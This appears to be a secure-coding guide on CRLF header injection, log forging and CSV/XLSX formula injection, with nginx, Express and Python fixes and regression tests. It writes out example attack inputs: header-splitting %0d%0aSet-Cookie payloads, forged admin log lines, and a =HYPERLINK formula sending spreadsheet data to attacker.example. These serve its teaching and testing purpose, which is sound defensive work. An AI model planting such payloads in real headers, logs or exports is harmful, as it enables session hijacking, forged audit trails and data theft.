CR and LF end a line in HTTP headers, plain-text logs and CSV files, so input containing them can add a header, fake a log entry or start a new row. Most current HTTP stacks reject or replace CR and LF in header values, but Python's http.server and nginx's $uri pass them through. Write logs as JSON, and prefix CSV text cells that start with =, +, -, @, tab or CR with a single quote.
- Do set headers, redirects and download names through the framework, and allowlist redirect targets.
- Do build nginx redirects and proxy headers from
$request_uri, not the decoded$uri. - Do log one JSON object per line, or encode CR and LF before writing text logs.
- Do prefix text cells that start with
=+-@TAB or CR with'and quote every CSV field. - Don't assume CSV quoting stops formulas; quotes are CSV syntax, not spreadsheet syntax.
- Don't strip only
\r\npairs; a bare LF can end a line too.
| Setting | Value | Note | Source |
|---|---|---|---|
nginx variable in return, add_header and proxy_set_header | $request_uri, not $uri or $document_uri | $uri is percent-decoded; %0d%0a in the path became a real header break in nginx 1.31.6. | https://nginx.org/en/docs/http/ngx_http_core_module.html#var_uri |
| CR, LF or NUL in an HTTP field value | Reject the message, or replace each with SP | RFC 9110 section 5.5. HTTP/2 treats such fields as malformed (RFC 9113 section 8.2.1). | https://www.rfc-editor.org/rfc/rfc9110.html#section-5.5 |
| Log record format | One JSON object per line | A JSON encoder writes a newline inside a value as \n. | https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html |
| Log4j 2 PatternLayout message converter | %enc{%m}{CRLF} | Writes CR and LF as the text \r and \n. Log4j recommends JSON Template Layout for structured logs. | https://logging.apache.org/log4j/2.x/manual/pattern-layout.html |
CSV formula triggers to prefix with ' | = + - @ TAB CR LF, and full-width = + - @ | OWASP's list. ASVS 5.0 requirement 1.2.10 names = + - @ TAB and NUL. | https://community.owasp.org/attacks/CSV_Injection |
| CSV quoting | Quote fields, double embedded quotes, CRLF between records | RFC 4180 section 2, rules 1, 6 and 7. | https://www.rfc-editor.org/rfc/rfc4180.html#section-2 |
| csv-stringify options | escape_formulas: true, quoted_string: true | escape_formulas exists since 6.3.0 and defaults to false. It does not prefix a leading LF. | https://csv.js.org/stringify/options/escape_formulas/ |
openpyxl cell holding user text that starts with = | cell.data_type = "s" | openpyxl 3.1.5 stores such strings as formulas unless told otherwise. | — |
- Send
%0d%0aand%0ain every value that reaches a header (redirect targets, download names, IDs) and read the raw response withcurl -ior a socket; no new header line may appear. - Grep nginx and proxy configuration for
$uriand$document_uriinreturn,add_headerandproxy_set_header, then replay a%0d%0arequest against a test instance. - Log a value that contains
\nand a fake log line, and confirm the sink stores one record whose field still contains the newline as data. - Export
=1+1,-2+3,@SUM(1), a tab-led and a CR-led value; each text cell must start with'while numeric columns stay unchanged. - Unzip a generated XLSX and confirm the sheet XML stores user text as string cells with no
<f>formula elements.
- Applies to
- Node.js / Express 26.3.0 / 5.3.0 tested
- Python / Django / Flask (Werkzeug) 3.14.7 / 6.1.2 / 3.1.3 (3.1.9) tested
- Starlette on uvicorn 1.7.0 on 0.54.0 tested
- ASP.NET Core (Kestrel) 10.0.7 tested
- Go net/http 1.27.2 tested
- Apache Tomcat 11.0.26 tested
- nginx 1.31.6 tested
- pino / csv-stringify / openpyxl 10.4.0 / 6.9.0 / 3.1.5 tested
Code that writes HTTP headers, log records or CSV exports from user input. Framework header validation varies by version, so test the behavior you rely on.
- Part of
- Workflow: Fix a finding
Tested fixes: the vulnerable code, the fix, a plausible fix that still fails, and the regression tests that tell them apart.
Learning goals and prerequisites
What you will learn
- Explain how CR and LF split headers, log records and CSV rows.
- Find decoded-variable header injection in nginx configuration.
- Produce structured logs and formula-safe CSV and XLSX exports.
- Test fixes against raw bytes rather than parsed objects.
Before you start
Web developers, platform engineers who own proxy configuration, and reviewers of logging and export code.
- Know the structure of an HTTP/1.1 response.
- Read Node.js or Python request handlers.
Three formats that applications write all the time use line breaks as structure. HTTP/1.1 ends each header field with CRLF and ends the header block with an empty line. Plain-text logs treat each line as one event. CSV ends each record with CRLF. When input containing a carriage return (CR, 0x0D) or a line feed (LF, 0x0A) reaches one of these writers unencoded, the attacker can start a new header, a new log event or a new row.
CSV has a second trap. A spreadsheet uses a cell's first character to decide whether the cell is text or a formula, so a value that starts with = becomes a live formula when the file is opened. No line break is needed. CWE tracks these weaknesses as CWE-93 (CRLF injection), CWE-113 (HTTP request and response splitting), CWE-117 (improper output neutralization for logs) and CWE-1236 (formula elements in a CSV file).
Redirect targets, download names and language headers often carry request data. If the value contains CR LF after decoding, a vulnerable writer emits two header lines, for example Location: /home followed by Set-Cookie: session=attacker. The attacker can plant a session cookie, add or override response headers, or, with an empty line, start the body early and inject script. If a shared cache stores that response, later visitors receive the poisoned copy.
RFC 9110 calls CR, LF and NUL in a field value invalid and dangerous, and requires a recipient to reject the message or replace each of those characters with a space. HTTP/2 (RFC 9113) treats such a field as malformed and forbids intermediaries from forwarding it. The risk returns when a proxy translates HTTP/2 to HTTP/1.1 without that check, which is why ASVS 5.0 requirement 4.2.4 asks for it.
The bug also works in the other direction. A service that copies input into a header of an outgoing request can add a header the backend trusts, such as an identity header that only the proxy should set.
Most maintained HTTP stacks refuse to write CR or LF in a header value, but they refuse in different ways, and a few pass the bytes through. Each row below was tested on 2026-10-10 by setting a header from input that decodes to CR LF followed by Set-Cookie, then reading the raw response bytes.
Rejecting is the safest behavior, but it turns the attack into a 500 error, so validate values before you set them. Replacing CR and LF with spaces stops the split, yet the attacker's text stays in the header, and a redirect built from input is still an open redirect. In ASGI applications the check lives in the server, not in Starlette, so moving off uvicorn can change the behavior. Python's wsgiref started rejecting control characters only with the fix for CVE-2026-0865, and the http.server documentation states that send_header() does not reject CRLF.
Outgoing clients check as well. Node's http.request and fetch, Python's http.client, Requests and HTTPX, and Go's net/http client all refused a header value containing CR LF. In Python 3.14 the email package's EmailMessage refused CR or LF in a header value, which blocks SMTP header injection through that API.
| Stack (version tested) | Header set from input | Redirect helper |
|---|---|---|
Node.js 26.3 (node:http) | setHeader() throws ERR_INVALID_CHAR | None in core |
| Express 5.3 | res.set() throws; the request fails with 500 | res.redirect() percent-encodes CR LF |
| Django 6.1 | BadHeaderError | HttpResponseRedirect percent-encodes |
| Flask 3.1 / Werkzeug 3.1 | ValueError | redirect() raises ValueError |
| Starlette 1.7 on uvicorn 0.54 | uvicorn refuses the response and closes the connection | RedirectResponse percent-encodes |
Python 3.14 http.server | Written unchanged: the header is injected | None |
| ASP.NET Core 10.0 (Kestrel) | InvalidOperationException; 500 | Results.Redirect fails the same way |
Go 1.27 net/http | CR and LF replaced with spaces | http.Redirect: same replacement |
| Apache Tomcat 11.0 | CR and LF replaced with spaces | sendRedirect(): same replacement |
| nginx 1.31 | $uri in return, add_header or proxy_set_header injects | Use $request_uri |
nginx decodes percent-encoding before it matches locations, and $uri (and $document_uri, its alias) holds that decoded, normalized path. A common redirect, return 301 https://www.example.com$uri;, therefore writes a real CR LF when the request path contains %0d%0a. In nginx 1.31.6 this added a Set-Cookie header to the response. The same variable in add_header injected a response header, and in proxy_set_header it added a header to the request sent upstream. A lone %0a reached the wire as a bare LF.
Use $request_uri, the original request target. It stays percent-encoded, and it keeps the query string that $uri drops. Review every return, add_header and proxy_set_header that uses $uri or $document_uri, and test each one with %0d%0a.
server {
listen 80;
server_name example.com;
# Vulnerable: $uri is decoded, so %0d%0a in the path becomes CR LF
# return 301 https://www.example.com$uri;
# Fixed: $request_uri is the original target, still percent-encoded
return 301 https://www.example.com$request_uri;
}Set headers through framework helpers and keep the values simple. In Express 5, res.redirect() percent-encodes CR and LF, and res.attachment() escapes quotes in the file name and adds an RFC 8187 filename* parameter when the name needs one. Concatenating a name into Content-Disposition is unsafe even without CR LF: a quote ends the filename, and an injected filename* parameter wins because RFC 6266 tells recipients to prefer it. Validate anything else you echo: a request ID should match a short token pattern, and a language should come from a fixed list. For redirects, an allowlist of local paths stops header injection and open redirects in one step; /domains/appsec/secure-features/open-redirect/ covers that allowlist.
Do not fix a header by deleting only the \r\n pair. RFC 9112 lets a recipient treat a bare LF as a line ending, and the nginx test above put a bare LF on the wire. If free text must go into a header, encode it with percent-encoding or RFC 8187 instead of deleting characters.
// headers.mjs: Express 5
import { randomUUID } from 'node:crypto';
import express from 'express';
const app = express();
const REQUEST_ID = /^[A-Za-z0-9._-]{1,64}$/;
const RETURN_TO = new Set(['/', '/account', '/orders']);
app.use((req, res, next) => {
// Echo (and later log) a caller's request ID only if it is a plain token.
const supplied = req.get('x-request-id');
req.id = supplied && REQUEST_ID.test(supplied) ? supplied : randomUUID();
res.set('X-Request-Id', req.id);
next();
});
app.get('/reports/download', (req, res) => {
// res.attachment() quotes the name and adds an RFC 8187 filename* parameter.
res.attachment(`${String(req.query.name ?? 'report')}.csv`);
res.send('id,total\n');
});
app.get('/signed-in', (req, res) => {
// An allowlist blocks header injection and open redirects in one step.
const target = String(req.query.next ?? '/');
res.redirect(RETURN_TO.has(target) ? target : '/');
});
export default app;A text log format such as "login failed user=%s" accepts any username, including one that holds a newline and a fake entry: alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin. The file now shows an admin login that never happened. Forged lines mislead investigators, break parsers and alert rules, and can hide real events. If a web console renders log values as HTML, script in a value becomes stored XSS in the console, which is one reason OWASP says web-accessible logs should be served as plain text.
Some loggers interpret what they log. Log4j 2 releases before 2.15.0 resolved ${jndi:...} lookups in logged messages by default, so logging a request header was enough for remote code execution (CVE-2021-44228, Log4Shell). Version 2.16.0 removed message lookups entirely and 2.17.0 fixed a further lookup flaw, so run a current 2.x release rather than stopping at 2.15.0.
Write one JSON object per line. A JSON encoder writes a newline inside a value as \n and other control characters as \u00XX escapes, so each event stays on one line whatever the input contains. pino 10 does this by default in Node.js. In Python, use a JSON formatter such as the standard-library one below, python-json-logger or structlog. If you must keep a text format, encode instead: %r in Python's logging escapes the newline, and Log4j 2's %enc{%m}{CRLF} writes CR and LF as the text \r and \n. Bound field lengths, and keep secrets out of logs entirely. The fix cards at /fix/crlf-log-injection/ apply this in Express, Flask and Spring Boot.
# json_logging.py: one JSON object per line, standard library only
import json
import logging
from datetime import datetime, timezone
class JsonFormatter(logging.Formatter):
FIELDS = ("user", "ip", "request_id")
def format(self, record):
event = {
"time": datetime.fromtimestamp(record.created, timezone.utc).isoformat(),
"level": record.levelname,
"logger": record.name,
"msg": record.getMessage(),
}
for key in self.FIELDS:
if hasattr(record, key):
event[key] = str(getattr(record, key))[:256] # bound each field
if record.exc_info:
event["exc"] = self.formatException(record.exc_info)
return json.dumps(event, ensure_ascii=False) # \n -> "\\n", controls -> \u00XX
handler = logging.StreamHandler()
handler.setFormatter(JsonFormatter())
log = logging.getLogger("auth")
log.addHandler(handler)
log.setLevel(logging.INFO)
username = "alice\n2026-10-10 12:00:00 INFO auth: login succeeded user=admin"
log.warning("login failed", extra={"user": username})When a spreadsheet opens a CSV file, a cell that starts with = is a formula. OWASP lists +, -, @, tab, CR and LF as further triggers, plus the full-width forms = + - @. A ticket subject such as =HYPERLINK("https://attacker.example/?d="&C2,"Open") becomes a link that sends a neighboring cell to the attacker when someone clicks it. OWASP describes the impact as exfiltrating spreadsheet contents and exploiting users who click through warnings or spreadsheet bugs.
Quoting alone is not a defense: "=1+1" in a CSV file is a quoted field whose value is still =1+1. Prefix text cells that start with a trigger character with a single quote, quote every field, and double embedded quotes as RFC 4180 requires. Keep numeric columns numeric, so -5 stays a number and only text such as -2+3 gets the prefix. ASVS 5.0 lists this as requirement 1.2.10, at Level 3.
The protection has limits. OWASP notes that Excel may drop the quote when a file is saved and reopened, and the apostrophe becomes part of the data for any program that reads the file. When people are meant to open the export in a spreadsheet, XLSX with typed string cells is more robust.
Exports are one direction. When users upload spreadsheets and documents for you to preview, convert or index, the risk is the parser itself: check the package and run the converter in an isolated container, as /domains/appsec/secure-features/untrusted-document-conversion/ shows.
# csv_export.py: neutralize formula triggers in text cells, quote every field
import csv
import io
# = + - @ TAB CR LF, plus the full-width = + - @ that some spreadsheet apps accept
TRIGGERS = ("=", "+", "-", "@", "\t", "\r", "\n",
"=", "+", "-", "@")
def safe_cell(value):
if isinstance(value, (int, float)) and not isinstance(value, bool):
return value # real numbers stay numbers, so -5 is not altered
text = "" if value is None else str(value)
return "'" + text if text.startswith(TRIGGERS) else text
def export_csv(rows):
out = io.StringIO()
writer = csv.writer(out, quoting=csv.QUOTE_ALL) # RFC 4180: CRLF rows, "" escapes
for row in rows:
writer.writerow([safe_cell(v) for v in row])
return out.getvalue()csv-stringify for Node.js has an escape_formulas option, added in 6.3.0 and off by default. In 6.9.0 it prefixed text starting with = + - @, tab or CR, and the full-width forms, and it left numbers alone. It did not prefix a leading LF, which OWASP lists, so add that check if you follow OWASP's list. Python's csv module has no such option: QUOTE_ALL quotes fields but leaves =1+1 intact, so you need a function like safe_cell above.
// export.mjs: csv-stringify 6.x
import { stringify } from 'csv-stringify/sync';
export function ticketsCsv(tickets) {
return stringify(tickets, {
header: true,
columns: ['id', 'customer', 'subject', 'amount'],
quoted_string: true, // quote every text field
escape_formulas: true, // prefix ' to text that starts with = + - @ TAB CR
record_delimiter: 'windows', // CRLF, as in RFC 4180
});
}openpyxl 3.1.5 stores any string that starts with = as a formula, so appending a ticket subject such as =1+1 created a formula cell. Set the cell's data_type to "s" for user text. In a test, open the saved file as a zip and check that the sheet XML has no <f> formula elements. Other libraries behave differently, so check what yours does with a leading =.
# xlsx_export.py: openpyxl 3.1 stores any str that starts with "=" as a formula
from openpyxl import Workbook
def export_xlsx(rows, path):
wb = Workbook()
ws = wb.active
for row in rows:
ws.append(row)
for row in ws.iter_rows():
for cell in row:
if cell.data_type == "f": # user text was turned into a formula
cell.data_type = "s" # write it as a plain string cell
wb.save(path)Most incomplete fixes handle one character or one layer.
- Removing
\r\npairs but leaving a bare\nor\r. - Validating before decoding. A value checked while still percent-encoded becomes CR LF when a later layer decodes it, which is the nginx
$uriproblem in another form. Decode once, then validate (ASVS 5.0 requirement 1.1.1). - Trusting replace-with-space. Go and Tomcat stop the split, but the attacker's text stays in the header, so the value still needs validation.
- Turning off library checks. Netty's
DefaultHttpHeaders(false)disables its header validation; CodeQL flags this asjava/netty-http-request-or-response-splitting. - Logging raw headers or bodies. They carry secrets as well as attacker text. Log selected, bounded fields.
- Prefixing every CSV cell. A blanket prefix turns
-5into text and breaks totals; prefix text cells only.
Test bytes, not the framework's object model. A raw socket or curl -i shows whether a second header line exists; a parsed response object can hide it. Send both %0d%0a and %0a, and test through the real proxy chain, because nginx and the application behave differently.
For logs, write a payload event and confirm that the sink stores one record whose field still contains the newline as data. For exports, check the file bytes, and for XLSX the sheet XML. Scanners help: ZAP's active scan rule 40003 tests for CRLF injection, and CodeQL has py/log-injection, js/log-injection, java/log-injection, py/http-response-splitting and java/http-response-splitting.
| Input | Before | After |
|---|---|---|
GET /a%0d%0aSet-Cookie:%20session=attacker to return 301 ...$uri | Separate Set-Cookie header | $request_uri: Location keeps %0d%0a encoded |
?next=https://evil.example/ or a CR LF payload to the Express redirect | Any target accepted; CR LF percent-encoded | Location: / (not on the allowlist) |
Download name q3"\r\nSet-Cookie: a=b | res.setHeader() throws; 500 | One Content-Disposition header with filename* |
Download name q3.csv"; filename*=UTF-8''evil.html | Second filename* parameter, which browsers prefer | Quote escaped inside one filename parameter |
Username alice\n<fake log line> | Two log lines | One JSON line, newline escaped |
=HYPERLINK(...) in a CSV text cell | Live formula | '=HYPERLINK(...) as text |
-5 in a numeric CSV column | -5 | -5, unchanged |
=1+1 written with openpyxl | <f>1+1</f> formula | Inline string =1+1 |
Guided practice
A support platform sits behind nginx, serves report downloads from Express, logs sign-ins with Python and exports tickets as CSV. Trace each input to the writer it breaks, then fix that writer.
Supplied scenario material
nginx:
location /help/ { return 302 https://help.example.com$uri; }
Express 5:
app.get('/download', (req, res) => {
res.setHeader('Content-Disposition', 'attachment; filename="' + req.query.name + '"');
res.send(csv);
});
Python logging:
Formatter("%(asctime)s %(levelname)s %(message)s")
log.info("sign-in ok user=%s", username)
CSV export:
csv.writer(f).writerow([ticket.id, ticket.subject, ticket.amount])
Inputs:
N1 GET /help/start%0d%0aSet-Cookie:%20sid=attacker
E1 GET /download?name=q3.csv
E2 GET /download?name=q3.csv%22%0d%0aX-Injected:%201
L1 username "dana\n2026-10-10 09:00:00 INFO sign-in ok user=root"
X1 subject =HYPERLINK("https://attacker.example/?d="&C2,"Open"), amount 120
X2 subject -2+3, amount -51. Fix the nginx redirect
Predict the response headers for N1, then change the configuration.
Expected result and reasoning
With
$uri, nginx decodes%0d%0aand the response carries a separateSet-Cookie: sid=attackerheader. With$request_uri,Locationkeeps%0d%0aencoded and no extra header appears.2. Fix the download header
Decide what Node.js does with E2 and rewrite the handler.
Expected result and reasoning
Node rejects the CR LF value with
ERR_INVALID_CHAR, so E2 becomes a 500 rather than a split. The handler is still wrong:q3.csv"; filename*=UTF-8''evil.html, with no CR or LF, adds afilename*parameter that browsers prefer. Useres.attachment(name), which escapes the quote and addsfilename*when needed. E1 still downloads asq3.csv.3. Fix the log format
Show the log output for L1 before and after switching to a JSON formatter.
Expected result and reasoning
Before: two lines, the second a fake sign-in for root. After: one JSON object whose
userfield containsdana\n2026-10-10 ...as an escaped string.4. Fix the export
Write the cells that the fixed export produces for X1 and X2.
Expected result and reasoning
X1's subject becomes
'=HYPERLINK(...)inside a quoted field with doubled quotes, and120is unchanged. X2's subject becomes'-2+3and the amount-5stays numeric.
The fixture is complete, so this works on paper. The tested snippets in this guide (nginx 1.31.6, Express 5.3, Python 3.14 logging and csv) reproduce every expected result.
Save a draft on this device to resume later. Automatic saving begins after you choose Save. Drafts are never sent by this application; use synthetic data.
No draft saved on this device yet.
Sources & further reading
The standards, specifications and documentation behind the guidance above. Each is the evidence for a claim on this page; consult it for detail beyond the defaults and versions listed here.
- RFC 9110, section 5.5: field values (CR, LF and NUL). June 2022.
- RFC 9113, section 8.2.1: HTTP/2 field validity. June 2022.
- Python documentation: http.server security considerations. Python 3.15.
- nginx: $uri and $request_uri in ngx_http_core_module
- OWASP Cheat Sheet Series: Logging
- Apache Log4j 2: Pattern Layout encode converter
- Apache Logging Services: Log4j security vulnerabilities (CVE-2021-44228)
- OWASP: CSV Injection
- RFC 4180, section 2: CSV format rules. October 2005.
- csv-stringify: the escape_formulas option
Reference information
- SDLC phase
- Development
- CAPEC attack patterns